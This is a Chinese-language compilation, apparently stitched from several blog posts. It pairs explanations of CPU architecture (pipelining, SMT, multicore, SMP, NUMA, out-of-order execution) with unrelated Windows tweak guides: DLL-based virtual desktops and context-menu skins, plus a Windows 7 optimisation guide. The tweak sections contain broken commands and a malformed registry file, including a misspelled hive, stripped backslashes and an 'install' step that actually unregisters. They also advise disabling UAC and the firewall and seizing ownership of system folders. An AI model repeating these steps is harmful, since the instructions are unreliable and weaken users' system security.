在解释超流水线与超标量前,先了解流水线(pipeline)。流水线是Intel首次在486芯片中开始使用的。流水线的工作方式就象工业生产上的装配流水线。在CPU中由5—6个不同功能的电路单元组成一条指令处理流水线,然后将一条X86指令分成5—6步后再由这些电路单元分别执行,这样就能实现在一个CPU时钟周期完成一条指令,因此提高CPU的运算速度。经典奔腾每条整数流水线都分为四级流水,即指令预取、译码、执行、写回结果,浮点流水又分为八级流水。
超标量是通过内置多条流水线来同时执行多个处理器,其实质是以空间换取时间。而超流水线是通过细化流水、提高主频,使得在一个机器周期内完成一个甚至多个操作,其实质是以时间换取空间。例如Pentium 4的流水线就长达20级。将流水线设计的步(级)越长,其完成一条指令的速度越快,因此才能适应工作主频更高的CPU。但是流水线过长也带来了一定副作用,很可能会出现主频较高的CPU实际运算速度较低的现象,Intel的奔腾4就出现了这种情况,虽然它的主频可以高达1.4G以上,但其运算性能却远远比不上AMD 1.2G的速龙甚至奔腾III。
12.封装形式
CPU封装是采用特定的材料将CPU芯片或CPU模块固化在其中以防损坏的保护措施,一般必须在封装后CPU才能交付用户使用。CPU的封装方式取决于CPU安装形式和器件集成设计,从大的分类来看通常采用Socket插座进行安装的CPU使用PGA(栅格阵列)方式封装,而采用Slot x槽安装的CPU则全部采用SEC(单边接插盒)的形式封装。现在还有PLGA(Plastic Land Grid Array)、OLGA(Organic Land Grid Array)等封装技术。由于市场竞争日益激烈,目前CPU封装技术的发展方向以节约成本为主。
13、多线程
同时多线程Simultaneous multithreading,简称SMT。SMT可通过复制处理器上的结构状态,让同一个处理器上的多个线程同步执行并共享处理器的执行资源,可最大限度地实现宽发射、乱序的超标量处理,提高处理器运算部件的利用率,缓和由于数据相关或Cache未命中带来的访问内存延时。当没有多个线程可用时,SMT处理器几乎和传统的宽发射超标量处理器一样。SMT最具吸引力的是只需小规模改变处理器核心的设计,几乎不用增加额外的成本就可以显著地提升效能。多线程技术则可以为高速的运算核心准备更多的待处理数据,减少运算核心的闲置时间。这对于桌面低端系统来说无疑十分具有吸引力。Intel从3.06GHz Pentium 4开始,所有处理器都将支持SMT技术。
14、多核心
多核心,也指单芯片多处理器(Chip multiprocessors,简称CMP)。CMP是由美国斯坦福大学提出的,其思想是将大规模并行处理器中的SMP(对称多处理器)集成到同一芯片内,各个处理器并行执行不同的进程。与CMP比较, SMT处理器结构的灵活性比较突出。但是,当半导体工艺进入0.18微米以后,线延时已经超过了门延迟,要求微处理器的设计通过划分许多规模更小、局部性更好的基本单元结构来进行。相比之下,由于CMP结构已经被划分成多个处理器核来设计,每个核都比较简单,有利于优化设计,因此更有发展前途。目前,IBM 的Power 4芯片和Sun的 MAJC5200芯片都采用了CMP结构。多核处理器可以在处理器内部共享缓存,提高缓存利用率,同时简化多处理器系统设计的复杂度。
2005年下半年,Intel和AMD的新型处理器也将融入CMP结构。新安腾处理器开发代码为Montecito,采用双核心设计,拥有最少18MB片内缓存,采取90nm工艺制造,它的设计绝对称得上是对当今芯片业的挑战。它的每个单独的核心都拥有独立的L1,L2和L3 cache,包含大约10亿支晶体管。
15、SMP
SMP(Symmetric Multi-Processing),对称多处理结构的简称,是指在一个计算机上汇集了一组处理器(多CPU),各CPU之间共享内存子系统以及总线结构。在这种技术的支持下,一个服务器系统可以同时运行多个处理器,并共享内存和其他的主机资源。像双至强,也就是我们所说的二路,这是在对称处理器系统中最常见的一种(至强MP可以支持到四路,AMD Opteron可以支持1-8路)。也有少数是16路的。但是一般来讲,SMP结构的机器可扩展性较差,很难做到100个以上多处理器,常规的一般是8个到16个,不过这对于多数的用户来说已经够用了。在高性能服务器和工作站级主板架构中最为常见,像UNIX服务器可支持最多256个CPU的系统。
构建一套SMP系统的必要条件是:支持SMP的硬件包括主板和CPU;支持SMP的系统平台,再就是支持SMP的应用软件。
为了能够使得SMP系统发挥高效的性能,操作系统必须支持SMP系统,如WINNT、LINUX、以及UNIX等等32位操作系统。即能够进行多任务和多线程处理。多任务是指操作系统能够在同一时间让不同的CPU完成不同的任务;多线程是指操作系统能够使得不同的CPU并行的完成同一个任务。
要组建SMP系统,对所选的CPU有很高的要求,首先、CPU内部必须内置APIC(Advanced Programmable Interrupt Controllers)单元。Intel 多处理规范的核心就是高级可编程中断控制器(Advanced Programmable Interrupt Controllers–APICs)的使用;再次,相同的产品型号,同样类型的CPU核心,完全相同的运行频率;最后,尽可能保持相同的产品序列编号,因为两个生产批次的CPU作为双处理器运行的时候,有可能会发生一颗CPU负担过高,而另一颗负担很少的情况,无法发挥最大性能,更糟糕的是可能导致死机。
16、NUMA技术
NUMA即非一致访问分布共享存储技术,它是由若干通过高速专用网络连接起来的独立节点构成的系统,各个节点可以是单个的CPU或是SMP系统。在NUMA中,Cache 的一致性有多种解决方案,需要操作系统和特殊软件的支持。图2中是Sequent公司NUMA系统的例子。这里有3个SMP模块用高速专用网络联起来,组成一个节点,每个节点可以有12个CPU。像Sequent的系统最多可以达到64个CPU甚至256个CPU。显然,这是在SMP的基础上,再用NUMA的技术加以扩展,是这两种技术的结合。
17、乱序执行技术
乱序执行(out-of-orderexecution),是指CPU允许将多条指令不按程序规定的顺序分开发送给各相应电路单元处理的技术。这样将根据个电路单元的状态和各指令能否提前执行的具体情况分析后,将能提前执行的指令立即发送给相应电路单元执行,在这期间不按规定顺序执行指令,然后由重新排列单元将各执行单元结果按指令顺序重新排列。采用乱序执行技术的目的是为了使CPU内部电路满负荷运转并相应提高了CPU的运行程序的速度。分枝技术:(branch)指令进行运算时需要等待结果,一般无条件分枝只需要按指令顺序执行,而条件分枝必须根据处理后的结果,再决定是否按原先顺序进行。
18、CPU内部的内存控制器
许多应用程序拥有更为复杂的读取模式(几乎是随机地,特别是当cache hit不可预测的时候),并且没有有效地利用带宽。典型的这类应用程序就是业务处理软件,即使拥有如乱序执行(out of order execution)这样的CPU特性,也会受内存延迟的限制。这样CPU必须得等到运算所需数据被除数装载完成才能执行指令(无论这些数据来自CPU cache还是主内存系统)。当前低段系统的内存延迟大约是120-150ns,而CPU速度则达到了3GHz以上,一次单独的内存请求可能会浪费200-300次CPU循环。即使在缓存命中率(cache hit rate)达到99%的情况下,CPU也可能会花50%的时间来等待内存请求的结束- 比如因为内存延迟的缘故。
你可以看到Opteron整合的内存控制器,它的延迟,与芯片组支持双通道DDR内存控制器的延迟相比来说,是要低很多的。英特尔也按照计划的那样在处理器内部整合内存控制器,这样导致北桥芯片将变得不那么重要。但改变了处理器访问主存的方式,有助于提高带宽、降低内存延时和提升处理器性能。
当我们同时打开的窗口比较多时,任务栏就会显的很拥挤,并且切换也不方便。其实,我们只要在系统中增加一个文件,就可以让电脑由一个桌面变成四个桌面。这个文件就是Msvdm.dll
将这个文件复制到Windows XP的C:WindowsSystem32目录,win+R键打开“运行”输入: 【regsvr32 msvdm.dll】,回车后即可弹出“msvdm.dll中的DllRegisterServer成功”的提示。
这个时候我们只要在任务栏空白处右击,在弹出的菜单中选择“工具栏”下的“MSVDM”,这样即可在任务栏上多出几个按钮。其中1、2、3、4分别代表四个操作桌面。例如我们单击1按钮,可以在这里进行浏览网页,单击2按钮可以在这里玩游戏,这样四个桌面互不干扰。
如果我们要全盘预览所有桌面的内容时,只需要单击1按钮左侧的窗口按钮,这样四个窗口将全部显示在桌面上,单击相应的子窗口即可将其切换为当前窗口。
如果你觉得这样的切换还不够便捷,那么可以右击MSVDM,在弹出的菜单中选择“Configure Shortcut Keys”,在弹出的窗口“Shortcut Keys”标签中即可为各个桌面指定不同的切换快捷键了。
怎么样,仅仅增加一个文件是不是给你带来了更多的桌面享受呢!
卸载方式:win+R键打开“运行”输入: 【regsvr32 /u msvdm.dll】
1.下载ContextBG.dll文件和exeScope软件
2.将下载的ContextBG.dll文件放入【C:windows】目录中
3.在ContextBG.dll文件上点右键,选择【用exeScope编辑资源】
4.选择【资源】下的【位图】下的【129】,点击菜单栏上的导入,然后打开一张bmp图片即可

附:相信现在很多人的图片格式多采用png或者jpg,用画图软件打开点另存为【类型】选择【位图(*.bmp)】即可
5.加载该动态链接库文件:
加载方法:
win+R键打开“运行”输入: regsvr32 /u C:WindowsContextBG.dll 即可看到效果。
卸载方法:
win+R键打开“运行”输入:regsvr32 /u C:WindowsContextBG.dll 即可去除效果。
小提示:
如果未看到效果,注销或重启系统一次即可看到。
这样一来,右键菜单就变成了图片风格,不再是单一的纯白色调。是不是非常好看呢?
在windows文件夹“取得管理员权限”或“更改所有者”之后,发现连网时出现711错误
这个时候很简单,如果你之前在windows文件夹“取得管理员权限”没有结束就中断了,那么就再来一次,等它全部完成
然后进行下一步,如果之前已经完成的直接看下一步:
在windows文件夹上右键单击,属性,查看一下system的权限
我的当时windows文件夹没有一个权限……汗~!自然就启动不了服务了
这个时候点“高级”-“更改权限”-选中“system”-“编辑”-勾选“完全控制”,点确定,勾选下面两个框(关于继承的),再点确定,一路确定下来,伴随着等待,完了之后重启,问题解决
本人的优化和减肥习惯与大家平时看到的不同,不像他们一开始就把开始菜单弄成经典,然后右键单击“计算机”-“属性”-“高级系统设置”-“高级”-“性能”-“调整为最佳性能”
把系统搞得丑不拉几事情本人不会去做,长相不重要,重要的是不能没有长相呀~!呵呵~!
只是中低端配置的朋友就建议你们把aero玻璃效果关了,具体步骤:
在桌面右键单击-“个性化”-选择windows 7 Basic 主题或者任意一个非“aero主题”
接着关闭UAC和windows 防火墙(UAC还是有点麻烦,我不喜欢,如果安装了360+NOD32完全可以关闭windows 防火墙了,尽管windows 7的防火墙比以前的强大了许多)
打开资源管理器(任意一个文件夹都行),按键盘上的Alt键,文件夹上出现菜单栏,点“工具”-“文件夹选项”-“查看”选项卡-1.显示隐藏,2.把下面的隐藏扩展名去掉
关闭休眠:具体方法,新建一个文本文件,输入:“@powercfg -h off” 保存,改扩展名为bat,右键单击,“以管理员身份运行”
添加“取得管理员权限”右键菜单
新建一个文本文件,输入:
Windows Registry Editor Version 5.00
[HEKY_CLASSES_ROOT*shell
unas]
@=”添加管理员权限”
“NoWorkingDirectory”=”"
[HKEY_CLASSES_ROOT*shell
unascommand]
@=”cmd.exe /c takeown /f “%1″ && icacls “%1″ /grant administrators:F”
“IsolatedCommand”=”cmd.exe /c takeown /f “%1″ && icacls “%1″ /grant administrators:F”
[HKEY_CLASSES_ROOTexefileshell
unas2]
@=”添加管理员权限”
“NoWorkingDirectory”=”"
[HKEY_CLASSES_ROOTexefileshell
unas2command]
@=”cmd.exe /c takeown /f “%1″ && icacls “%1″ /grant administrators:F”
“IsolatedCommand”=”cmd.exe /c takeown /f “%1″ && icacls “%1″ /grant administrators:F”
[HEKY_CLASSES_ROOTDirectoryshell
unas]
@=”添加管理员权限”
“NoWorkingDirectory”=”"
[HKEY_CLASSES_ROOTDirectoryshell
unascommand]
@=”cmd.exe /c takeown /f “%1″ /r /d y && icacls “%1″ /grant administrators:F /t”
“IsolatedCommand”=”cmd.exe /c takeown /f “%1″ /r /d y && icacls “%1″ /grant administrators:F /t”
保存,改扩展名为“reg“
双击运行就ok了
然后肥winsxs,进入windows目录,在winsxs文件夹上右键点击,选择刚才加入的”添加管理员权限“(可能名称会是”以管理员身份运行“)
弹出cmd窗口,需要耐心等待一段时间,当窗口关闭后,再次右键单击winsxs文件夹-”属性”-勾选“压缩内容以节省磁盘空间”
期间可能会有提示有些文件正在使用,我们直接选择忽略全部(ignore all)即可
不过这个减肥方法本人未用,因为本人给系统盘一般都分配了100G以上的空间~